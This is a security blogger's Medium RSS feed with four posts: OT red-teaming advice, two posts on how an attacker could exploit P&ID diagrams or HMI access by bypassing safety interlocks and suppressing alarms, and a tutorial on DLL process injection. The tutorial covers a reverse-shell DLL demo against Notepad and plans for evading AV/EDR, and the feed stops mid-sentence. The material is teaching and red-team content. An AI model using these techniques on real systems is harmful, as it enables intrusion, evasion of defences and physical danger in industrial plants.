<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Seemant Bisht on Medium]]></title>
        <description><![CDATA[Stories by Seemant Bisht on Medium]]></description>
        <link>https://medium.com/@securitytimes?source=rss-42ec6161c4d2------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*eTMDGbrxpHv4YD17.</url>
            <title>Stories by Seemant Bisht on Medium</title>
            <link>https://medium.com/@securitytimes?source=rss-42ec6161c4d2------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 29 Nov 2026 04:33:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@securitytimes/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Real Skillset for OT Red Teaming]]></title>
            <link>https://securitytimes.medium.com/the-real-skillset-for-ot-red-teaming-a2f09144a5da?source=rss-42ec6161c4d2------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2f09144a5da</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[operational-technology]]></category>
            <dc:creator><![CDATA[Seemant Bisht]]></dc:creator>
            <pubDate>Sat, 07 Jun 2025 15:00:21 GMT</pubDate>
            <atom:updated>2025-06-07T15:00:21.585Z</atom:updated>
            <content:encoded><![CDATA[<p>The Real Skillset for OT Red Teaming</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8V036u1-gqpGb1M3UjDZ4g.png" /><figcaption>OT Attack Flow</figcaption></figure><p>If you’re truly committed to building a career in OT penetration testing or OT red teaming, particularly in a consulting role — understand this that exploiting PLCs or running Nmap scans is just the beginning.</p><p>The real value lies in your ability to understand the sector you’re operating in, whether it’s power, transportation, rail, telecom or manufacturing. It’s not just about gaining access to systems, it’s about recognizing what those systems do, how they fit into the operational process, and the consequences of interacting with them.</p><p>Once inside an OT environment, you’ll face technologies that don’t exist in traditional IT such as protection relays, interlockings, SCADA-connected IEDs, signal controllers. These aren’t just endpoints, they’re critical process enablers. If you don’t know what you’re interacting with, you’re not testing securely. Its like you’re gambling.</p><p>Trust me the real thrill in OT security doesn’t come from just landing a root shell on a PLC or cracking into an embedded device. That’s fleeting. The real excitement begins when you truly understand how the process works behind it all.</p><p>It’s when you realize how one telecom operator’s infrastructure in one country operates entirely differently from another. It’s when you can board a train and confidently say you understand how every onboard system functions — from signaling to safety.</p><p>That’s when it clicks. That’s when the work becomes more than testing — it becomes a journey through the technology that quietly runs the world. And that’s where the fun really begins.</p><p>Master the process. Understand the environment. Respect the function of every device. That’s what separates a tool runner from a trusted OT security professional. Someone who delivers not just access, but insight, accountability, and value.</p><p>If your goal is to remotely move a train, it’s going to take more than just finding open ports and launching exploits, it requires deep sector knowledge. You need to understand how the entire system works, not just how to access it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2f09144a5da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What if an attacker gains access to Piping & Instrumentation Diagram (P&ID)?]]></title>
            <link>https://securitytimes.medium.com/what-if-an-attacker-gains-access-to-piping-instrumentation-diagram-p-id-6e56b2025bc1?source=rss-42ec6161c4d2------2</link>
            <guid isPermaLink="false">https://medium.com/p/6e56b2025bc1</guid>
            <category><![CDATA[operational-technology]]></category>
            <category><![CDATA[ot-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[industrial-control-system]]></category>
            <category><![CDATA[ics-security]]></category>
            <dc:creator><![CDATA[Seemant Bisht]]></dc:creator>
            <pubDate>Fri, 24 Jan 2025 09:29:48 GMT</pubDate>
            <atom:updated>2025-01-24T09:29:48.803Z</atom:updated>
            <content:encoded><![CDATA[<p>If an attacker gains access to a Piping &amp; Instrumentation Diagram (P&amp;ID), they can leverage it to plan a targeted attack on the industrial process. Below is an analysis of how an attacker might approach such a scenario, focusing on identifying weak points they could exploit.</p><p>Let’s consider the P&amp;ID below to understand an attacker’s perspective. This diagram represents a fluid processing system, likely part of an industrial separation and compression setup, such as:</p><ul><li>A gas-liquid separation system (commonly found in oil and gas processing).</li><li>A chemical distillation or refining process.</li><li>A fluid transfer and compression system used in industrial applications.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UMBHLT24odBCOu0d" /><figcaption>Fluid Processing System</figcaption></figure><h3>Understanding the Process and Identifying Critical Assets</h3><p>An attacker begins by analyzing the operational workflow to understand the system’s vulnerabilities:</p><ul><li>Where does the feed originate?</li><li>How are pressure and temperature controlled?</li><li>What critical components, such as compressors, tanks, and valves, can be manipulated?</li><li>Are there any chokepoints or dependencies that can amplify the impact of disruptions?</li></ul><h3>Key Components Identified from the P&amp;ID</h3><p>The attacker uses the above P&amp;ID to identify critical components and control mechanisms that govern the system’s operations. These components include:</p><ol><li>Flow Control (FV 01): Regulates the incoming fluid flow and impacts downstream operations.</li><li>Heat Exchanger (TT 01, TT 02): Maintains and influences process temperature, making it a key target for thermal disruptions.</li><li>Compressor (PT 44): Critical for maintaining pressure levels; manipulating it could destabilize the entire system.</li><li>Separator Tank (LT 01, LC 01): Responsible for phase separation, any disruption could compromise product quality or cause overflow incidents.</li><li>Process Valves (Gate Valves, Control Valves): Control and regulate fluid flow; misoperation could lead to catastrophic failures such as leaks or overflows.</li><li>Safety Interlocks (PCV 01, SC, Vent System): Provide safety mechanisms to prevent hazards like overpressure, leaks, or system overheating. Understanding and bypassing these interlocks is often a high-priority objective for attackers.</li></ol><h3>Next Steps for the Attacker</h3><p>Once the process represented by the P&amp;ID is understood, the attacker focuses on key opportunities for disruption, including:</p><p>Control Loops Manipulation:</p><ul><li>Identify feedback loops governing pressure, temperature, or flow.</li><li>Determine how these loops interact and identify vulnerabilities where small changes could cause cascading failures.</li><li>Evaluate the potential for disruptions like pressure spikes, thermal imbalances, or process halts.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/0*65aW5pX5TPOLEgDN" /></figure><p>List of Control Loops</p><p>Bypassing or Exploiting Safety Interlocks:</p><ul><li>Assess the measures in place to prevent overpressure, overheating, or leaks.</li><li>Identify weak points in safety systems, such as hardcoded thresholds, reliance on outdated technologies, or predictable patterns.</li><li>Explore methods to disable, bypass, or spoof interlock signals.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/0*YFoIaDKeoL8Gmz00" /></figure><p>List of Interlocks</p><p>Exploiting System Dependencies:</p><ul><li>Investigate interconnected systems or upstream/downstream dependencies that could amplify the impact of disruptions.</li><li>Identify single points of failure, such as critical valves or pumps, where failure could halt the entire process.</li></ul><p>Monitoring and Alarm Systems:</p><ul><li>Analyze the role of sensors (e.g., PT, TT, LT) in detecting abnormal conditions.</li><li>Determine how alarms and notifications are triggered and explore ways to suppress or delay alerts, increasing the time before detection.</li></ul><p>Below I have outlined the identified control loops and marked the interlocks on the P&amp;ID to have a better understanding:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rtSgV9wDlOWLiL1e" /><figcaption>Control Loops &amp; Interlocks</figcaption></figure><p>Building on the attacker’s understanding of the process and P&amp;ID, the next focus would be on Fail-Safe Conditions and Emergency Shutdown Systems (ESD):</p><p>Understanding Fail-Safe Conditions:</p><ul><li>Safety interlocks are designed to respond automatically when pressure, level, or temperature exceeds predefined safe limits. For example, an interlock may shut off or redirect flow to prevent damage or hazardous conditions.</li><li>Valves connected to these interlocks often feature venting mechanisms or shutdown capabilities, ensuring excess pressure is safely released or the process is halted to avoid escalation.</li></ul><p>Connections to Emergency Shutdown Systems (ESD):</p><ul><li>Certain safety interlocks are integrated with critical equipment, such as compressors, tanks, or separators, to provide rapid responses during emergencies.</li><li>For instance, a high-pressure trip in the system may trigger an automatic shutdown valve to isolate the affected area and prevent cascading failures.</li></ul><p>By understanding these systems, an attacker can target key fail-safe components or bypass their triggers, potentially causing catastrophic consequences despite the presence of safety measures.</p><p>Here’s an example of an attack strategy an attacker might devise after reviewing the P&amp;ID. While there are numerous other documents that could provide additional insights into the process, the focus of this article is to demonstrate how P&amp;IDs specifically can be leveraged and exploited by attackers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wjfD6JgY6mJ_3Ywa" /><figcaption>Attack Strategy</figcaption></figure><p>Happy Learning!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6e56b2025bc1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[What happens if an attacker gains access to a Human-Machine Interface (HMI)?]]></title>
            <link>https://securitytimes.medium.com/what-happens-if-an-attacker-gains-access-to-a-human-machine-interface-hmi-caba2e6d9130?source=rss-42ec6161c4d2------2</link>
            <guid isPermaLink="false">https://medium.com/p/caba2e6d9130</guid>
            <category><![CDATA[ot-security]]></category>
            <category><![CDATA[ics-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Seemant Bisht]]></dc:creator>
            <pubDate>Sat, 11 Jan 2025 03:54:17 GMT</pubDate>
            <atom:updated>2025-01-11T03:54:17.707Z</atom:updated>
            <content:encoded><![CDATA[<p>Can attackers cause widespread disruption simply by changing process variables? The answer isn’t as straightforward as one might think.</p><h3>Why Blind Manipulation Often Fails</h3><p>At first glance, an attacker might believe they can wreak havoc by randomly altering temperature, pressure, or flow rates in an HMI. However, modern SCADA/OT systems are designed with fail-safes, interlocks, and alarms that prevent drastic or unsafe changes.</p><ul><li>If an attacker sets a pressure level beyond safe limits, interlocks may automatically correct the change.</li><li>If they push a system out of normal operating conditions, alarms will alert operators to investigate.</li><li>If they force a value too far outside predefined thresholds, safety shutdown mechanisms will trigger to prevent damage.</li></ul><p>In essence, blind attacks — those without a deep understanding of process interdependencies often fail to achieve meaningful disruption beyond temporary shutdowns or minor alarms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*9ddbm4sFOwf3EcLSiDWzEg.png" /><figcaption>Unsuccessful Attempts</figcaption></figure><h3>The Role of Safety Systems and Automated Shutdowns</h3><p>SCADA/OT environments prioritize safety over operational continuity. If a parameter moves outside safe thresholds, the system will self-correct, alert, or shut down rather than allow catastrophic failure.</p><ul><li>Automatic Alarms — Any unusual changes in system variables (e.g., unexpected pressure spikes) trigger alerts to operators.</li><li>Safety Interlocks — Prevent unsafe actions, such as exceeding critical temperature or pressure levels.</li><li>Emergency Shutdowns — If all else fails, the system can shut down key processes to protect equipment and personnel.</li></ul><p>This means that simply flipping switches or modifying random values is not enough for a successful attack.</p><h3>How a Skilled Attacker Bypasses These Protections</h3><p>Do skilled attackers exist? Yes, they might, but the level of expertise required to carry out such an attack, especially one that is highly sophisticated or aims for catastrophic impact — is extremely high. I won’t go into detail here, but this article will give you a general idea.</p><p>A true ICS attack requires more than just access, it demands an in-depth understanding of the process itself. To cause real disruption, an adversary must carefully study:</p><ul><li>Interlocks — What safety mechanisms prevent operations outside safe limits?</li><li>Control Loops — How do pressure, flow, and temperature interact?</li><li>Process Dependencies — How do changes in one part of the system affect the whole?</li></ul><p>Without this knowledge, attackers risk triggering immediate shutdowns rather than prolonged, stealthy interference.</p><h3>Strategic Manipulation: A More Sophisticated Approach</h3><p>Instead of brute-force manipulation, a sophisticated attacker would employ stealthier tactics to bypass safeguards and remain undetected:</p><ol><li>Override interlocks — Disabling safety features to allow harmful conditions to persist.</li><li>Gradual, undetectable changes — Slowly adjusting variables within normal operating ranges to avoid alarms.</li><li>Targeting interdependent control loops — Manipulating one variable to cause cascading effects elsewhere in the system.</li></ol><p>By carefully mapping out interdependencies, attackers could create subtle shifts that compound over time, leading to unsafe conditions without triggering immediate safety shutdowns.</p><p>Note: In today’s world, successfully achieving (without triggering any alert) any of the three through cyber means is nearly impossible. Every action leaves traces, and in the cyber-physical domain, those traces are observable and visible.</p><p>Happy Learning.</p><p><strong><em>References:</em></strong></p><p>Interlocks — <a href="https://www.realpars.com/blog/interlock">https://www.realpars.com/blog/interlock</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=caba2e6d9130" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Path to Process Injection — Bypass Userland API Hooking]]></title>
            <link>https://securitytimes.medium.com/path-to-process-injection-bypass-userland-api-hooking-a8a49ae5def6?source=rss-42ec6161c4d2------2</link>
            <guid isPermaLink="false">https://medium.com/p/a8a49ae5def6</guid>
            <category><![CDATA[process-injection]]></category>
            <category><![CDATA[ntcreatethreadex]]></category>
            <category><![CDATA[syscalls]]></category>
            <category><![CDATA[api-hooking]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Seemant Bisht]]></dc:creator>
            <pubDate>Fri, 27 Nov 2020 06:01:52 GMT</pubDate>
            <atom:updated>2026-09-21T06:07:01.522Z</atom:updated>
            <cc:license>http://creativecommons.org/publicdomain/zero/1.0/</cc:license>
            <content:encoded><![CDATA[<h3>Path to Process Injection — Bypass Userland API Hooking</h3><h3>Introduction</h3><p>My <a href="https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa">last post</a> discussed processes, process tokens, and token abuse. Where we learned about the process and opening process handle to interact with the target process. This blog will cover more on process injection techniques and how can we evade userland API hooking which is being used by AV/EDR security products to detect injection techniques. My main purpose to write this blog was to understand the injection code holistically. I have covered and tried to explain most of the queries which everyone would have while learning about this topic. I have listed below the queries which I had in mind regarding process injection before reading about it.</p><ul><li>What is process injection?</li><li>Why do we need to learn about process injection?</li><li>What do we actually inject?</li><li>How do we know where to inject?</li><li>Is the process injection technique different for 32 bit and 64-bit processes?</li><li>How to perform a basic process injection technique?</li><li>Can this technique bypass the latest AV/EDR solutions?</li></ul><p>There is more for the readers, I will start with a brief overview of process injection and how to use userland APIs (<a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess">OpenProcess</a>, <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex">VirtualAllocEx</a>, <a href="https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory">WriteProcessMemory</a>, and <a href="https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex">CreateRemoteThread</a>) to perform a classic CreateRemoteThread DLL Injection. Then we will steer into NTDLL functions (<a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess">NtOpenProcess</a>, <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntallocatevirtualmemory">NtAllocateVirtualMemory</a>, <a href="http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FMemory%20Management%2FVirtual%20Memory%2FNtWriteVirtualMemory.html">NtWriteVirtualMemory</a>, NtCreateThreadEx) aka. Kernel APIs and finally invoking Syscalls (System Calls) directly to perform DLL injection that bypasses the userland API hooking performed by AV/EDR solutions to detect the injection technique.</p><h3>What is process injection?</h3><p>An <a href="https://en.wikipedia.org/wiki/Injection_(medicine)"><strong>injection</strong></a> is an act of administering a liquid, especially a drug, into a person’s body using a needle (usually a hypodermic needle) and a syringe.</p><p>Similarly, a <strong>Process injection</strong> is an act of administering a malicious code, especially a payload, into a process using windows APIs.</p><p>According to MITRE | ATT&amp;CK: “Process injection is a method of executing arbitrary code in the address space of a separate live process.”</p><h3>Why do we need to learn about process injection?</h3><ul><li>Most widely used post-exploitation technique almost in every red team assessment and is equipped in almost all Command &amp; Control application/software such as <a href="https://blog.cobaltstrike.com/2019/08/21/cobalt-strikes-process-injection-the-details/">Cobalt Strike</a>, <a href="https://github.com/MythicAgents/Apollo">Mythic C2</a>, <a href="https://github.com/cobbr/Covenant">Covenant</a>, <a href="https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/local/payload_inject.rb">Metasploit</a>;</li><li>This technique is widely used by malware to gain stealth while performing malicious operations on the system;</li><li>Running malicious logic in a legitimate process could help bypass security products (e.g. AV, EDR, DLP, and personal firewall solutions);</li><li>Attackers want to be stealthy to avoid detection;</li><li>Running an unrecognized executable is easily detected;</li><li>Malicious code would rather hide inside a legitimate process;</li></ul><h3>Is the process injection technique independent of architecture?</h3><p>It depends on the process injection technique we are using. The technique we have used in this blog has a limitation that you could only inject into processes of the same architecture of the calling process. So, 32-bit processes could only inject into other 32-bit processes, and 64-bit processes could only inject into 64-bit processes. This blog doesn’t target explaining this. It will be covered in future blogs.</p><h3>What do we actually inject?</h3><p>We can inject:</p><p>1. Entire portable executable (PE) into another running process such as injecting a reverse shellcode binary or executable;</p><p>2. DLL can be injected into another running process such as injecting Mimikatz or Seatbelt DLL;</p><p>3. Shellcode can be injected into another running process such as injecting a reverse meterpreter shellcode. Additionally, we can convert any DLL into a shellcode using <a href="https://github.com/monoxgas/sRDI">Shellcode Reflective DLL Injection</a> (sRDI) technique;</p><p>4. Return Object Programming (ROP) gadget can be injected into a PE file which can further be injected into another running process;</p><h3>How do we know where to inject?</h3><p>This depends on the injection technique that we are using. Process structure contains multiple sections such as Image, Mapped File, Shareable, Heap, Managed Heap, Stack, and Private Data. We can use different techniques to inject into different sections of the Process. In this blog, we are targeting injecting DLL into the Image section of the process.</p><h3>How to perform a basic process injection technique?</h3><p>Let’s start with the basic Process injection technique using Kernel32 APIs such as OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread. In this technique, we will create a thread in a target process and use it to load the desired DLL or shellcode. The below diagram shows the steps involved in this injection technique.</p><figure><img alt="Steps to understand DLL injection Flow" src="https://cdn-images-1.medium.com/max/878/1*6Uzmj2aOGKtx48_YD7LgMQ.png" /></figure><p>The steps mentioned in the above screenshot:</p><ol><li>The malware process opens a handle to the target process using the OpenProcess function.</li><li>Now the process handle can be passed to the GetProcAddress function to get the address of the LoadLibraryA function residing inside the kernel32.dll library. LoadLibrary can be used to load a library module into the address space of the process and return a handle that can be used in GetProcAddress to get the address of a DLL function. For our DLL to be loaded, we must pass a DLL path to the LoadLibraryA function, but the name needs to be stored somewhere inside the processes address space.</li><li>Obviously, it’s highly unlikely for the path to our DLL to already be present somewhere in the process’s address space, which is why we need the next two functions: VirtualAllocEx and WriteProcessMemory. The first function allocates a new memory range inside the process’s address space. The size of that memory region needs to be only as large to fit the name of the DLL inside it; usually, the size is rounded up to occupy at least one page. The WriteProcessMemory is the function that actually writes the path of our DLL to the victim’s address space.</li><li>At last, the CreateRemoteThread is called that calls the LoadLibraryA function inside the victim’s address space to inject a DLL into it.</li></ol><p><strong><em>Note: Terminal Services isolates each terminal session by design. Therefore, CreateRemoteThread fails if the target process is in a different session than the calling process.</em></strong></p><p>Let’s relate the above steps with the code below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*AuqqA5mnZescjApek2ASTg.png" /><figcaption>Github: <a href="https://github.com/SecurityTimes/Process-Injection/blob/main/RemoteThreadInjection.cpp">https://github.com/SecurityTimes/Process-Injection/blob/main/RemoteThreadInjection.cpp</a></figcaption></figure><p>Let’s understand the syntax of the various functions used above and their parameters.</p><ol><li><strong>OpenProcess:</strong></li></ol><p>OpenProcess():<strong> </strong>This function allows us to open a handle to the target process.</p><p><strong>Syntax:</strong></p><p><strong>HANDLE OpenProcess(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iXpfWWLf4VO3BoAkgiWlSw.png" /></figure><p>The OpenProcess() function accepts three inputs which are explained below:</p><ul><li>dwDesiredAccess: Access to the process object. This access right is checked against the security descriptor for the process. If the caller has enabled the SeDebugPrivilege privilege, the requested access is granted regardless of the contents of the security descriptor. Here, we have assigned three access rights:</li></ul><p>PROCESS_VM_WRITE: Required to write to memory in a process using WriteProcessMemory. Here we are using the WriteProcessMemory to write DLL pathname to the allocated memory by the VirtualAllocEx function.</p><p>PROCESS_VM_OPERATION: Required to operate on the address space of a process. Here in our code, we are using the VirtualAllocEx function to reserve, commit, or change the state of a region of memory within the virtual address space of a specified process (target process).</p><p><strong><em>Note: VirtualAllocEx is the extended form of VirtualAlloc. VirtualAllocEx extends the capability of the VirtualAlloc function to reserve memory in a remote process. Through VirtualAlloc, we can reserve memory only in the current process.</em></strong></p><p>PROCESS_CREATE_THREAD: Required to create a thread. Here in our code, it will be required by the CreateRemoteThread function,</p><ul><li>bInheritHandle: If this value is TRUE, processes created by this process will inherit the handle. Otherwise, the processes do not inherit this handle. Here in our code, we do not need inheritance.</li><li>dwProcessId: The identifier of the local process to be opened. Here in our code, this parameter value will be accepted by the user via the command line.</li></ul><p><strong>2. GetProcAddress:</strong></p><p>GetProcAddress(): Retrieves the address of an exported function or variable from the specified dynamic-link library (DLL).</p><p><strong>Syntax:</strong></p><pre><strong>FARPROC GetProcAddress(HMODULE hModule, LPCSTR lpProcName);</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iroIDQj2jUMUQJMUxHLyqA.png" /></figure><p>The GetProcAddress function takes two inputs:</p><ul><li>hModule</li></ul><p>A handle to the DLL module that contains the function or variable. The <strong>LoadLibrary</strong>, LoadLibraryEx, LoadPackagedLibrary, or GetModuleHandle function returns this handle. Here in the code, a handle to the <strong>kernel32.dll</strong> module is obtained which contains the LoadLibraryA function.</p><p><strong><em>Note: The GetProcAddress function does not retrieve addresses from modules that were loaded using the LOAD_LIBRARY_AS_DATAFILE flag.</em></strong></p><ul><li>lpProcName</li></ul><p>The function or variable name, or the function’s ordinal value. If this parameter is an ordinal value, it must be in the low-order word; the high-order word must be zero. Here in our code, we want the address of the <strong>LoadLibraryA</strong> function. Therefore, we will pass LoadLibraryA as the function name.</p><p>LoadLibraryA Loads the specified module (our malicious DLL) into the address space of the calling process. The specified module may cause other modules to be loaded.</p><p><strong>Syntax:</strong></p><pre>HMODULE LoadLibraryA(LPCSTR <strong>lpLibFileName</strong>);</pre><p><strong>lpLibFileName</strong> is the name of the module. There are few things to note about lpLibFileName:</p><ul><li>This can be either a library module (a .dll file) or an executable module (a .exe file).</li><li>If the string specifies a full path, the function searches only that path for the module.</li><li>If the string specifies a relative path or a module name without a path, the function uses a standard search strategy to find the module.</li><li>If the function cannot find the module, the function fails. When specifying a path, be sure to use backslashes (\), not forward slashes (/).</li><li>If the string specifies a module name without a path and the file name extension is omitted, the function appends the default library extension .dll to the module name. To prevent the function from appending .dll to the module name, include a trailing point character (.) in the module name string.</li><li>If the function succeeds, the return value is a handle to the module.</li></ul><p><strong>3.</strong> <strong>VirtualAllocEx function:</strong></p><p>Reserves, commit, or changes the state of a region of memory within the virtual address space of a specified process. The function initializes the memory it allocates to zero.</p><p><strong>Syntax:</strong></p><pre><strong>LPVOID VirtualAllocEx(</strong></pre><pre><strong>HANDLE hProcess, </strong><em>//* The handle to a process. The function allocates memory within the virtual address space of this process. The handle must have the PROCESS_VM_OPERATION access right.</em></pre><pre><strong>LPVOID lpAddress, <em>//* </em></strong><em>The pointer that specifies a desired starting address for the region of pages that you want to allocate. If lpAddress is NULL, the function determines where to allocate the region.</em></pre><pre><strong>SIZE_T dwSize, </strong><em>//*</em><strong><em> </em></strong><em>The size of the region of memory to allocate, in bytes. Length of DLL pathname supplied as a command line argument is passed as the value.</em></pre><pre><strong>DWORD flAllocationType, </strong><em>//* The type of memory allocation. We are reserving the memory space and instantly committing it therefore MEM_COMMIT and MEM_RESERVE values are passed.</em></pre><pre><strong>DWORD flProtect </strong><em>//* The memory protection for the region of pages to be allocated. We need read and write access to the allocated memory for writing the dll path via the WriteProcessMemory.</em></pre><pre><strong>);</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jdT0W62atxJYTiC-5UZ9Dw.png" /></figure><p><strong>4. WriteProcessMemory:</strong></p><p>Writes data to an area of memory in a specified process.</p><p><strong>Syntax:</strong></p><pre><strong>BOOL WriteProcessMemory(</strong></pre><pre><strong>HANDLE hProcess,</strong> <em>//* A handle to the process memory to be modified. The handle must have PROCESS_VM_WRITE and PROCESS_VM_OPERATION access to the process.</em></pre><pre><strong>LPVOID lpBaseAddress,</strong> <em>//* A pointer to the base address in the specified process to which data is written. Before data transfer occurs, the system verifies that all data in the base address and memory of the specified size is accessible for write access, and if it is not accessible, the function fails.</em></pre><pre><strong>LPCVOID lpBuffer,</strong> <em>//* A pointer to the buffer that contains data to be written in the address space of the specified process.</em></pre><pre><strong>SIZE_T nSize,</strong> <em>//* The number of bytes to be written to the specified process.</em></pre><pre><strong>SIZE_T *lpNumberOfBytesWritten</strong> <em>//* A pointer to a variable that receives the number of bytes transferred into the specified process. This parameter is optional. If lpNumberOfBytesWritten is NULL, the parameter is ignored.</em></pre><pre><strong>);</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mOFHgfTOEWgG-AKxylSBig.png" /></figure><p><strong>5.</strong> <strong>CreateRemoteThread:</strong></p><p>The CreateRemoteThread function creates a thread in the virtual address space of the target process.</p><p><strong>Syntax:</strong></p><pre><strong>HANDLE CreateRemoteThread(</strong></pre><pre><strong>HANDLE hProcess,</strong> <em>//* Handle to the process where we’ll create a new thread.</em></pre><pre><strong>LPSECURITY_ATTRIBUTES lpThreadAttributes,</strong> <em>//* A pointer to the SECURITY_ATTRIBUTES structure, which specifies the security attributes of the new thread: if NULL, the thread will have default security attributes and the handle cannot be inherited by the child process</em></pre><pre><strong>SIZE_T dwStackSize,</strong> //* Initial size of the stack</pre><pre><strong>LPTHREAD_START_ROUTINE lpStartAddress,</strong> <em>//* A pointer to the LPTHREAD_START_ROUTINE, which is a function that will be executed by the new thread. It’s needless to say that the function must exists in the remote process.</em></pre><pre><strong>LPVOID lpParameter,</strong> <em>//* A pointer to a variable to be passed to the thread function</em></pre><pre><strong>DWORD dwCreationFlags,</strong> <em>//* A value that controls the creation of the thread</em></pre><pre><strong>LPDWORD lpThreadId</strong> <em>//* A pointer to a variable that receives the thread ID</em></pre><pre>);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HQK7AufT5Y3PBuaWKBB4AQ.png" /></figure><p>Now, we have a sound understanding of how the code works and what are we trying to achieve. Let’s move to practical.</p><p><strong><em>Practical Demo:</em></strong></p><p>We will create a 64bit reverse shell DLL payload as we will be injecting this into a 64bit process i.e., Notepad process in our case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*68fSM3p9XOBCEmIdNovTaA.png" /></figure><p>Open a reverse handler listening on port 443 as specified in the payload above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HPvkaMiGOlr3XPD390b-WA.png" /></figure><p>Open Notepad and find the Process ID via Process Hacker or Windows TaskManager:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xi-0m9l0yU20qE2VCumq0w.png" /></figure><p>Compile the RemoteThreadInjection.cpp and execute the RemoteThreadInjection.exe as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PtU7ymb_uL9CxVLW3vyq_g.png" /></figure><p>Shell spawned:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9NVM_Yct6SIqxuEqzBEZBw.png" /></figure><p>Now, let&#39;s find the injected DLL inside the Notepad process module section where the DLL’s are loaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KerpakWuT-JK_Zb8NZY0rQ.png" /></figure><p><em>Note: In the above screenshot, we can see the base address of the reverse64.dll.</em></p><p>To find out in which section of the process our DLL is loaded, we can use <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/vmmap">VMMAP</a> (a <a href="https://docs.microsoft.com/en-us/sysinternals/">Sysinternals</a> tool that gives you the memory mapping within a process).</p><p>Below are the various sections of the Notepad process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kNMzz08LC4avsCHSaC0iVg.png" /></figure><p>Our reverse64.dll payload is loaded in the image section:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J03t4gf-adsiuIvjPxBqxA.png" /></figure><p>We can see that VirtualAllocEx() allocated a buffer located at 0x7ff997520000. This memory allocation should be within the notepad.exe process space. To confirm, we can open the notepad.exe process in ProcessHacker -→ properties -→ memory and look for the memory region shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kp6Dm6PENKhCkMupdlOJlw.png" /></figure><p><em>Note: An important point to note is that when an executable image (such as EXE or DLL) is normally loaded into the memory, that memory region is given memory protection of PAGE_EXECUTE_WRITECOPY(WCX) by the operating system.</em></p><p><strong>Does this technique bypass AV/EDR solutions?</strong></p><p>No, this technique is quite old, it doesn’t bypass AV/EDR solutions. This blog only focuses on making the process injection easily understandable for the readers. I have tried to make it as simple as possible. I will keep on adding defense evasion techniques in the upcoming blogs one by one so that it is more relatable.</p><p><strong>Why the above technique doesn’t bypass AV/EDR solutions?</strong></p><p>The API/ functions (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread), we used in the above code are executed in the user space where EDR/ AV solutions perform API hooking. API hooking is a technique by which we can instrument and modify the behavior and flow of API calls. Windows API hooking is one of the techniques used by AV/EDR solutions 